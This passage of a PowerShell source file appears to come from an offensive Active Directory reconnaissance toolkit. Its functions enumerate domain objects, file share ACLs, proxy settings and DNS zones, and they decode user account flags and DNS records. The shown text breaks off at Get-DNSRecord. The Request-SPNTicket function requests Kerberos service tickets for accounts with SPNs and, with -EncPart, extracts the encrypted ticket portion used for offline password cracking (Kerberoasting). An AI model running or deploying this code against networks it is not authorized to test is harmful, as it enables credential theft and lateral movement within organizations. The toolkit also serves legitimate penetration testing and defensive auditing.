945 [String]
946 $ObjectName,
947
948 [String]
949 [ValidateSet("NT4","Simple","Canonical")]
950 $InputType,
951
952 [String]
953 [ValidateSet("NT4","Simple","Canonical")]
954 $OutputType
955 )
956
957 $NameTypes = @{
958 'Canonical' = 2
959 'NT4' = 3
960 'Simple' = 5
961 }
962
963 if(-not $PSBoundParameters['InputType']) {
964 if( ($ObjectName.split('/')).Count -eq 2 ) {
965 $ObjectName = $ObjectName.replace('/', '\')
966 }
967
968 if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {
969 $InputType = 'NT4'
970 }
971 elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
972 $InputType = 'Simple'
973 }
974 elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {
975 $InputType = 'Canonical'
976 }
977 else {
978 Write-Warning "Can not identify InType for $ObjectName"
979 return $ObjectName
980 }
981 }
982 elseif($InputType -eq 'NT4') {
983 $ObjectName = $ObjectName.replace('/', '\')
984 }
985
986 if(-not $PSBoundParameters['OutputType']) {
987 $OutputType = Switch($InputType) {
988 'NT4' {'Canonical'}
989 'Simple' {'NT4'}
990 'Canonical' {'NT4'}
991 }
992 }
993
994 # try to extract the domain from the given format
995 $Domain = Switch($InputType) {
996 'NT4' { $ObjectName.split("\")[0] }
997 'Simple' { $ObjectName.split("@")[1] }
998 'Canonical' { $ObjectName.split("/")[0] }
999 }
1000
1001 # Accessor functions to simplify calls to NameTranslate
1002 function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
1003 $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
1004 if ( $Output ) { $Output }
1005 }
1006 function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
1007 [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
1008 }
1009
1010 $Translate = New-Object -ComObject NameTranslate
1011
1012 try {
1013 Invoke-Method $Translate "Init" (1, $Domain)
1014 }
1015 catch [System.Management.Automation.MethodInvocationException] {
1016 Write-Verbose "Error with translate init in Convert-ADName: $_"
1017 }
1018
1019 Set-Property $Translate "ChaseReferral" (0x60)
1020
1021 try {
1022 Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)
1023 (Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
1024 }
1025 catch [System.Management.Automation.MethodInvocationException] {
1026 Write-Verbose "Error with translate Set/Get in Convert-ADName: $_"
1027 }
1028}
1029
1030
1031function ConvertFrom-UACValue {
1032<#
1033 .SYNOPSIS
1034 Converts a UAC int value to human readable form.
1035 .PARAMETER Value
1036 The int UAC value to convert.
1037 .PARAMETER ShowAll
1038 Show all UAC values, with a + indicating the value is currently set.
1039 .EXAMPLE
1040 PS C:\> ConvertFrom-UACValue -Value 66176
1041 Convert the UAC value 66176 to human readable format.
1042 .EXAMPLE
1043 PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue
1044 Convert the UAC value for 'jason' to human readable format.
1045 .EXAMPLE
1046 PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll
1047 Convert the UAC value for 'jason' to human readable format, showing all
1048 possible UAC values.
1049#>
1050
1051 [CmdletBinding()]
1052 param(
1053 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1054 $Value,
1055
1056 [Switch]
1057 $ShowAll
1058 )
1059
1060 begin {
1061 # values from https://support.microsoft.com/en-us/kb/305144
1062 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
1063 $UACValues.Add("SCRIPT", 1)
1064 $UACValues.Add("ACCOUNTDISABLE", 2)
1065 $UACValues.Add("HOMEDIR_REQUIRED", 8)
1066 $UACValues.Add("LOCKOUT", 16)
1067 $UACValues.Add("PASSWD_NOTREQD", 32)
1068 $UACValues.Add("PASSWD_CANT_CHANGE", 64)
1069 $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
1070 $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
1071 $UACValues.Add("NORMAL_ACCOUNT", 512)
1072 $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
1073 $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
1074 $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
1075 $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
1076 $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
1077 $UACValues.Add("SMARTCARD_REQUIRED", 262144)
1078 $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
1079 $UACValues.Add("NOT_DELEGATED", 1048576)
1080 $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
1081 $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
1082 $UACValues.Add("PASSWORD_EXPIRED", 8388608)
1083 $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
1084 $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
1085 }
1086
1087 process {
1088
1089 $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
1090
1091 if($Value -is [Int]) {
1092 $IntValue = $Value
1093 }
1094 elseif ($Value -is [PSCustomObject]) {
1095 if($Value.useraccountcontrol) {
1096 $IntValue = $Value.useraccountcontrol
1097 }
1098 }
1099 else {
1100 Write-Warning "Invalid object input for -Value : $Value"
1101 return $Null
1102 }
1103
1104 if($ShowAll) {
1105 foreach ($UACValue in $UACValues.GetEnumerator()) {
1106 if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
1107 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
1108 }
1109 else {
1110 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
1111 }
1112 }
1113 }
1114 else {
1115 foreach ($UACValue in $UACValues.GetEnumerator()) {
1116 if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
1117 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
1118 }
1119 }
1120 }
1121 $ResultUACValues
1122 }
1123}
1124
1125
1126filter Get-Proxy {
1127<#
1128 .SYNOPSIS
1129
1130 Enumerates the proxy server and WPAD conents for the current user.
1131 .PARAMETER ComputerName
1132 The computername to enumerate proxy settings on, defaults to local host.
1133 .EXAMPLE
1134 PS C:\> Get-Proxy
1135
1136 Returns the current proxy settings.
1137#>
1138 param(
1139 [Parameter(ValueFromPipeline=$True)]
1140 [ValidateNotNullOrEmpty()]
1141 [String]
1142 $ComputerName = $ENV:COMPUTERNAME
1143 )
1144
1145 try {
1146 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
1147 $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
1148 $ProxyServer = $RegKey.GetValue('ProxyServer')
1149 $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
1150
1151 $Wpad = ""
1152 if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
1153 try {
1154 $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
1155 }
1156 catch {
1157 Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
1158 }
1159 }
1160
1161 if($ProxyServer -or $AutoConfigUrl) {
1162
1163 $Properties = @{
1164 'ProxyServer' = $ProxyServer
1165 'AutoConfigURL' = $AutoConfigURL
1166 'Wpad' = $Wpad
1167 }
1168
1169 New-Object -TypeName PSObject -Property $Properties
1170 }
1171 else {
1172 Write-Warning "No proxy settings found for $ComputerName"
1173 }
1174 }
1175 catch {
1176 Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
1177 }
1178}
1179
1180
1181function Request-SPNTicket {
1182<#
1183 .SYNOPSIS
1184
1185 Request the kerberos ticket for a specified service principal name (SPN).
1186
1187 .PARAMETER SPN
1188 The service principal name to request the ticket for. Required.
1189
1190 .PARAMETER EncPart
1191
1192 Switch. Return the encrypted portion of the ticket (cipher).
1193 .EXAMPLE
1194 PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local"
1195
1196 Request a kerberos service ticket for the specified SPN.
1197
1198 .EXAMPLE
1199 PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart
1200
1201 Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket.
1202 .EXAMPLE
1203 PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket
1204 Request kerberos service tickets for all SPNs passed on the pipeline.
1205 .EXAMPLE
1206 PS C:\> Get-NetUser -SPN | Request-SPNTicket
1207 Request kerberos service tickets for all users with non-null SPNs.
1208#>
1209
1210 [CmdletBinding()]
1211 Param (
1212 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]
1213 [Alias('ServicePrincipalName')]
1214 [String[]]
1215 $SPN,
1216
1217 [Alias('EncryptedPart')]
1218 [Switch]
1219 $EncPart
1220 )
1221
1222 begin {
1223 Add-Type -AssemblyName System.IdentityModel
1224 }
1225
1226 process {
1227 ForEach($UserSPN in $SPN) {
1228 Write-Verbose "Requesting ticket for: $UserSPN"
1229 if (!$EncPart) {
1230 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
1231 }
1232 else {
1233 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
1234 $TicketByteStream = $Ticket.GetRequest()
1235 if ($TicketByteStream)
1236 {
1237 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-"
1238 [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201"
1239 $Parts.RemoveAt($Parts.Count - 1)
1240 $Parts -join "A48201"
1241 break
1242 }
1243 }
1244 }
1245 }
1246}
1247
1248
1249function Get-PathAcl {
1250<#
1251 .SYNOPSIS
1252
1253 Enumerates the ACL for a given file path.
1254 .PARAMETER Path
1255 The local/remote path to enumerate the ACLs for.
1256 .PARAMETER Recurse
1257
1258 If any ACL results are groups, recurse and retrieve user membership.
1259 .EXAMPLE
1260 PS C:\> Get-PathAcl "\\SERVER\Share\"
1261
1262 Returns ACLs for the given UNC share.
1263#>
1264 [CmdletBinding()]
1265 param(
1266 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1267 [String]
1268 $Path,
1269
1270 [Switch]
1271 $Recurse
1272 )
1273
1274 begin {
1275
1276 function Convert-FileRight {
1277
1278 # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
1279
1280 [CmdletBinding()]
1281 param(
1282 [Int]
1283 $FSR
1284 )
1285
1286 $AccessMask = @{
1287 [uint32]'0x80000000' = 'GenericRead'
1288 [uint32]'0x40000000' = 'GenericWrite'
1289 [uint32]'0x20000000' = 'GenericExecute'
1290 [uint32]'0x10000000' = 'GenericAll'
1291 [uint32]'0x02000000' = 'MaximumAllowed'
1292 [uint32]'0x01000000' = 'AccessSystemSecurity'
1293 [uint32]'0x00100000' = 'Synchronize'
1294 [uint32]'0x00080000' = 'WriteOwner'
1295 [uint32]'0x00040000' = 'WriteDAC'
1296 [uint32]'0x00020000' = 'ReadControl'
1297 [uint32]'0x00010000' = 'Delete'
1298 [uint32]'0x00000100' = 'WriteAttributes'
1299 [uint32]'0x00000080' = 'ReadAttributes'
1300 [uint32]'0x00000040' = 'DeleteChild'
1301 [uint32]'0x00000020' = 'Execute/Traverse'
1302 [uint32]'0x00000010' = 'WriteExtendedAttributes'
1303 [uint32]'0x00000008' = 'ReadExtendedAttributes'
1304 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
1305 [uint32]'0x00000002' = 'WriteData/AddFile'
1306 [uint32]'0x00000001' = 'ReadData/ListDirectory'
1307 }
1308
1309 $SimplePermissions = @{
1310 [uint32]'0x1f01ff' = 'FullControl'
1311 [uint32]'0x0301bf' = 'Modify'
1312 [uint32]'0x0200a9' = 'ReadAndExecute'
1313 [uint32]'0x02019f' = 'ReadAndWrite'
1314 [uint32]'0x020089' = 'Read'
1315 [uint32]'0x000116' = 'Write'
1316 }
1317
1318 $Permissions = @()
1319
1320 # get simple permission
1321 $Permissions += $SimplePermissions.Keys | % {
1322 if (($FSR -band $_) -eq $_) {
1323 $SimplePermissions[$_]
1324 $FSR = $FSR -band (-not $_)
1325 }
1326 }
1327
1328 # get remaining extended permissions
1329 $Permissions += $AccessMask.Keys |
1330 ? { $FSR -band $_ } |
1331 % { $AccessMask[$_] }
1332
1333 ($Permissions | ?{$_}) -join ","
1334 }
1335 }
1336
1337 process {
1338
1339 try {
1340 $ACL = Get-Acl -Path $Path
1341
1342 $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
1343
1344 $Names = @()
1345 if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {
1346 $Object = Get-ADObject -SID $_.IdentityReference
1347 $Names = @()
1348 $SIDs = @($Object.objectsid)
1349
1350 if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
1351 $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
1352 }
1353
1354 $SIDs | ForEach-Object {
1355 $Names += ,@($_, (Convert-SidToName $_))
1356 }
1357 }
1358 else {
1359 $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
1360 }
1361
1362 ForEach($Name in $Names) {
1363 $Out = New-Object PSObject
1364 $Out | Add-Member Noteproperty 'Path' $Path
1365 $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
1366 $Out | Add-Member Noteproperty 'IdentityReference' $Name[1]
1367 $Out | Add-Member Noteproperty 'IdentitySID' $Name[0]
1368 $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
1369 $Out
1370 }
1371 }
1372 }
1373 catch {
1374 Write-Warning $_
1375 }
1376 }
1377}
1378
1379
1380filter Get-NameField {
1381<#
1382 .SYNOPSIS
1383
1384 Helper that attempts to extract appropriate field names from
1385 passed computer objects.
1386 .PARAMETER Object
1387 The passed object to extract name fields from.
1388 .PARAMETER DnsHostName
1389
1390 A DnsHostName to extract through ValueFromPipelineByPropertyName.
1391 .PARAMETER Name
1392
1393 A Name to extract through ValueFromPipelineByPropertyName.
1394 .EXAMPLE
1395 PS C:\> Get-NetComputer -FullData | Get-NameField
1396#>
1397 [CmdletBinding()]
1398 param(
1399 [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1400 [Object]
1401 $Object,
1402
1403 [Parameter(ValueFromPipelineByPropertyName = $True)]
1404 [String]
1405 $DnsHostName,
1406
1407 [Parameter(ValueFromPipelineByPropertyName = $True)]
1408 [String]
1409 $Name
1410 )
1411
1412 if($PSBoundParameters['DnsHostName']) {
1413 $DnsHostName
1414 }
1415 elseif($PSBoundParameters['Name']) {
1416 $Name
1417 }
1418 elseif($Object) {
1419 if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
1420 # objects from Get-NetComputer
1421 $Object.dnshostname
1422 }
1423 elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
1424 # objects from Get-NetDomainController
1425 $Object.name
1426 }
1427 else {
1428 # strings and catch alls
1429 $Object
1430 }
1431 }
1432 else {
1433 return $Null
1434 }
1435}
1436
1437
1438function Convert-LDAPProperty {
1439<#
1440 .SYNOPSIS
1441
1442 Helper that converts specific LDAP property result fields.
1443 Used by several of the Get-Net* function.
1444 .PARAMETER Properties
1445 Properties object to extract out LDAP fields for display.
1446#>
1447 param(
1448 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1449 [ValidateNotNullOrEmpty()]
1450 $Properties
1451 )
1452
1453 $ObjectProperties = @{}
1454
1455 $Properties.PropertyNames | ForEach-Object {
1456 if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
1457 # convert the SID to a string
1458 $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
1459 }
1460 elseif($_ -eq "objectguid") {
1461 # convert the GUID to a string
1462 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
1463 }
1464 elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
1465 # convert timestamps
1466 if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
1467 # if we have a System.__ComObject
1468 $Temp = $Properties[$_][0]
1469 [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1470 [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1471 $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
1472 }
1473 else {
1474 $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
1475 }
1476 }
1477 elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
1478 # try to convert misc com objects
1479 $Prop = $Properties[$_]
1480 try {
1481 $Temp = $Prop[$_][0]
1482 Write-Verbose $_
1483 [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1484 [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1485 $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
1486 }
1487 catch {
1488 $ObjectProperties[$_] = $Prop[$_]
1489 }
1490 }
1491 elseif($Properties[$_].count -eq 1) {
1492 $ObjectProperties[$_] = $Properties[$_][0]
1493 }
1494 else {
1495 $ObjectProperties[$_] = $Properties[$_]
1496 }
1497 }
1498
1499 New-Object -TypeName PSObject -Property $ObjectProperties
1500}
1501
1502
1503
1504########################################################
1505#
1506# Domain info functions below.
1507#
1508########################################################
1509
1510filter Get-DomainSearcher {
1511<#
1512 .SYNOPSIS
1513 Helper used by various functions that takes an ADSpath and
1514 domain specifier and builds the correct ADSI searcher object.
1515 .PARAMETER Domain
1516 The domain to use for the query, defaults to the current domain.
1517 .PARAMETER DomainController
1518 Domain controller to reflect LDAP queries through.
1519 .PARAMETER ADSpath
1520 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
1521 Useful for OU queries.
1522 .PARAMETER ADSprefix
1523 Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
1524 .PARAMETER PageSize
1525 The PageSize to set for the LDAP searcher object.
1526 .PARAMETER Credential
1527 A [Management.Automation.PSCredential] object of alternate credentials
1528 for connection to the target domain.
1529 .EXAMPLE
1530 PS C:\> Get-DomainSearcher -Domain testlab.local
1531 .EXAMPLE
1532 PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local
1533#>
1534
1535 param(
1536 [Parameter(ValueFromPipeline=$True)]
1537 [String]
1538 $Domain,
1539
1540 [String]
1541 $DomainController,
1542
1543 [String]
1544 $ADSpath,
1545
1546 [String]
1547 $ADSprefix,
1548
1549 [ValidateRange(1,10000)]
1550 [Int]
1551 $PageSize = 200,
1552
1553 [Management.Automation.PSCredential]
1554 $Credential
1555 )
1556
1557 if(-not $Credential) {
1558 if(-not $Domain) {
1559 $Domain = (Get-NetDomain).name
1560 }
1561 elseif(-not $DomainController) {
1562 try {
1563 # if there's no -DomainController specified, try to pull the primary DC to reflect queries through
1564 $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
1565 }
1566 catch {
1567 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1568 }
1569 }
1570 }
1571 elseif (-not $DomainController) {
1572 # if a DC isn't specified
1573 try {
1574 $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
1575 }
1576 catch {
1577 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1578 }
1579
1580 if(!$DomainController) {
1581 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1582 }
1583 }
1584
1585 $SearchString = "LDAP://"
1586
1587 if($DomainController) {
1588 $SearchString += $DomainController
1589 if($Domain){
1590 $SearchString += '/'
1591 }
1592 }
1593
1594 if($ADSprefix) {
1595 $SearchString += $ADSprefix + ','
1596 }
1597
1598 if($ADSpath) {
1599 if($ADSpath -Match '^GC://') {
1600 # if we're searching the global catalog
1601 $DN = $AdsPath.ToUpper().Trim('/')
1602 $SearchString = ''
1603 }
1604 else {
1605 if($ADSpath -match '^LDAP://') {
1606 if($ADSpath -match "LDAP://.+/.+") {
1607 $SearchString = ''
1608 }
1609 else {
1610 $ADSpath = $ADSpath.Substring(7)
1611 }
1612 }
1613 $DN = $ADSpath
1614 }
1615 }
1616 else {
1617 if($Domain -and ($Domain.Trim() -ne "")) {
1618 $DN = "DC=$($Domain.Replace('.', ',DC='))"
1619 }
1620 }
1621
1622 $SearchString += $DN
1623 Write-Verbose "Get-DomainSearcher search string: $SearchString"
1624
1625 if($Credential) {
1626 Write-Verbose "Using alternate credentials for LDAP connection"
1627 $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1628 $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
1629 }
1630 else {
1631 $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
1632 }
1633
1634 $Searcher.PageSize = $PageSize
1635 $Searcher.CacheResults = $False
1636 $Searcher
1637}
1638
1639
1640filter Convert-DNSRecord {
1641<#
1642 .SYNOPSIS
1643 Decodes a binary DNS record.
1644 Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
1645 .PARAMETER DNSRecord
1646 The domain to query for zones, defaults to the current domain.
1647 .LINK
1648 https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
1649#>
1650 param(
1651 [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
1652 [Byte[]]
1653 $DNSRecord
1654 )
1655
1656 function Get-Name {
1657 # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
1658 [CmdletBinding()]
1659 param(
1660 [Byte[]]
1661 $Raw
1662 )
1663
1664 [Int]$Length = $Raw[0]
1665 [Int]$Segments = $Raw[1]
1666 [Int]$Index = 2
1667 [String]$Name = ""
1668
1669 while ($Segments-- -gt 0)
1670 {
1671 [Int]$SegmentLength = $Raw[$Index++]
1672 while ($SegmentLength-- -gt 0) {
1673 $Name += [Char]$Raw[$Index++]
1674 }
1675 $Name += "."
1676 }
1677 $Name
1678 }
1679
1680 $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
1681 $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
1682 $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
1683
1684 $TTLRaw = $DNSRecord[12..15]
1685 # reverse for big endian
1686 $Null = [array]::Reverse($TTLRaw)
1687 $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
1688
1689 $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
1690 if($Age -ne 0) {
1691 $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
1692 }
1693 else {
1694 $TimeStamp = "[static]"
1695 }
1696
1697 $DNSRecordObject = New-Object PSObject
1698
1699 if($RDataType -eq 1) {
1700 $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
1701 $Data = $IP
1702 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
1703 }
1704
1705 elseif($RDataType -eq 2) {
1706 $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
1707 $Data = $NSName
1708 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
1709 }
1710
1711 elseif($RDataType -eq 5) {
1712 $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
1713 $Data = $Alias
1714 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
1715 }
1716
1717 elseif($RDataType -eq 6) {
1718 # TODO: how to implement properly? nested object?
1719 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1720 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
1721 }
1722
1723 elseif($RDataType -eq 12) {
1724 $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
1725 $Data = $Ptr
1726 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
1727 }
1728
1729 elseif($RDataType -eq 13) {
1730 # TODO: how to implement properly? nested object?
1731 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1732 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
1733 }
1734
1735 elseif($RDataType -eq 15) {
1736 # TODO: how to implement properly? nested object?
1737 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1738 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
1739 }
1740
1741 elseif($RDataType -eq 16) {
1742
1743 [string]$TXT = ""
1744 [int]$SegmentLength = $DNSRecord[24]
1745 $Index = 25
1746 while ($SegmentLength-- -gt 0) {
1747 $TXT += [char]$DNSRecord[$index++]
1748 }
1749
1750 $Data = $TXT
1751 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
1752 }
1753
1754 elseif($RDataType -eq 28) {
1755 # TODO: how to implement properly? nested object?
1756 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1757 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
1758 }
1759
1760 elseif($RDataType -eq 33) {
1761 # TODO: how to implement properly? nested object?
1762 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1763 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
1764 }
1765
1766 else {
1767 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1768 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
1769 }
1770
1771 $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
1772 $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
1773 $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
1774 $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
1775 $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
1776 $DNSRecordObject
1777}
1778
1779
1780filter Get-DNSZone {
1781<#
1782 .SYNOPSIS
1783 Enumerates the Active Directory DNS zones for a given domain.
1784 .PARAMETER Domain
1785 The domain to query for zones, defaults to the current domain.
1786 .PARAMETER DomainController
1787 Domain controller to reflect LDAP queries through.
1788 .PARAMETER PageSize
1789 The PageSize to set for the LDAP searcher object.
1790 .PARAMETER Credential
1791 A [Management.Automation.PSCredential] object of alternate credentials
1792 for connection to the target domain.
1793 .PARAMETER FullData
1794 Switch. Return full computer objects instead of just system names (the default).
1795 .EXAMPLE
1796 PS C:\> Get-DNSZone
1797 Retrieves the DNS zones for the current domain.
1798 .EXAMPLE
1799 PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local
1800 Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries
1801 through the primary.testlab.local domain controller.
1802#>
1803
1804 param(
1805 [Parameter(Position=0, ValueFromPipeline=$True)]
1806 [String]
1807 $Domain,
1808
1809 [String]
1810 $DomainController,
1811
1812 [ValidateRange(1,10000)]
1813 [Int]
1814 $PageSize = 200,
1815
1816 [Management.Automation.PSCredential]
1817 $Credential,
1818
1819 [Switch]
1820 $FullData
1821 )
1822
1823 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
1824 $DNSSearcher.filter="(objectClass=dnsZone)"
1825
1826 if($DNSSearcher) {
1827 $Results = $DNSSearcher.FindAll()
1828 $Results | Where-Object {$_} | ForEach-Object {
1829 # convert/process the LDAP fields for each result
1830 $Properties = Convert-LDAPProperty -Properties $_.Properties
1831 $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
1832
1833 if ($FullData) {
1834 $Properties
1835 }
1836 else {
1837 $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
1838 }
1839 }
1840 $Results.dispose()
1841 $DNSSearcher.dispose()
1842 }
1843
1844 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
1845 $DNSSearcher.filter="(objectClass=dnsZone)"
1846
1847 if($DNSSearcher) {
1848 $Results = $DNSSearcher.FindAll()
1849 $Results | Where-Object {$_} | ForEach-Object {
1850 # convert/process the LDAP fields for each result
1851 $Properties = Convert-LDAPProperty -Properties $_.Properties
1852 $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
1853
1854 if ($FullData) {
1855 $Properties
1856 }
1857 else {
1858 $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
1859 }
1860 }
1861 $Results.dispose()
1862 $DNSSearcher.dispose()
1863 }
1864}
1865
1866
1867filter Get-DNSRecord {
1868<#
1869 .SYNOPSIS
1870 Enumerates the Active Directory DNS records for a given zone.
1871 .PARAMETER ZoneName
